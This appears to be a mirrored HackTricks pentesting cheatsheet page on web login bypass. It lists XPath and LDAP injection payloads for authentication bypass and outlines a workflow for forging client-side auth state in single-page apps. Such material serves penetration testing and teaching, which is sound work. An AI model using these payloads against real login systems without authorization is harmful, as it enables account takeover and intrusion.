repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
overview.mdMarkdown132 lines7.8 KiBsource raw download

title: "Login Bypass" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/login-bypass/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/login-bypass/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0"#

Login Bypass#

Bypass regular login#

See Proxmox VE for a product-specific example of authentication state confusion.

If you find a login page, test the following authentication and authorization failure modes.[3]

SQL Injection authentication bypass#

Here you can find several tricks to bypass the login via SQL injections.

In the following page you can find a custom list to try to bypass login via SQL Injections:

Sql Login Bypass

No SQL Injection authentication bypass#

Here you can find several tricks to bypass the login via No SQL Injections.

As the NoSQL Injections requires to change the parameters value, you will need to test them manually.

XPath Injection authentication bypass#

Here you can find several tricks to bypass the login via XPath Injection.

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection authentication bypass#

Here you can find several tricks to bypass the login via LDAP Injection.

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Remember Me#

If the page has "Remember Me" functionality check how is it implemented and see if you can abuse it to takeover other accounts.

Redirects#

Pages usually redirect users after login. Check whether the destination can be altered to cause an Open Redirect, especially when authorization codes or other secrets could be sent through the redirect flow.

Client-side authentication & authorization bypass in SPAs#

Some applications only protect routes/actions in the frontend (route guards, hidden buttons, localStorage / sessionStorage, feature flags, or JSON fields such as role, groups, is_active, PluginId, TimeoutStatus). If the backend APIs don't re-check authentication and authorization, you can often unlock the whole UI or perform the action directly.[2]

Quick workflow:

  1. Read the JS bundle (main.js, chunks, source maps) and search for authRequired, beforeEach, isUserLoggedIn, localStorage, sessionStorage, userInfo, token, exp, role, groups, is_active, PluginId, TimeoutStatus.
  2. Locate the trust boundary: identify whether the SPA only checks that a storage key exists, a date is in the future, or a JSON field is truthy.
  3. Forge the expected state in DevTools or intercept proxy traffic to modify the relevant response fields.
  4. Validate impact server-side by performing the hidden action or calling the API directly. If the server accepts it, this is a real auth/authz bypass, not just a cosmetic UI issue.

Common patterns:

Other Checks#

Automatic Tools#

References#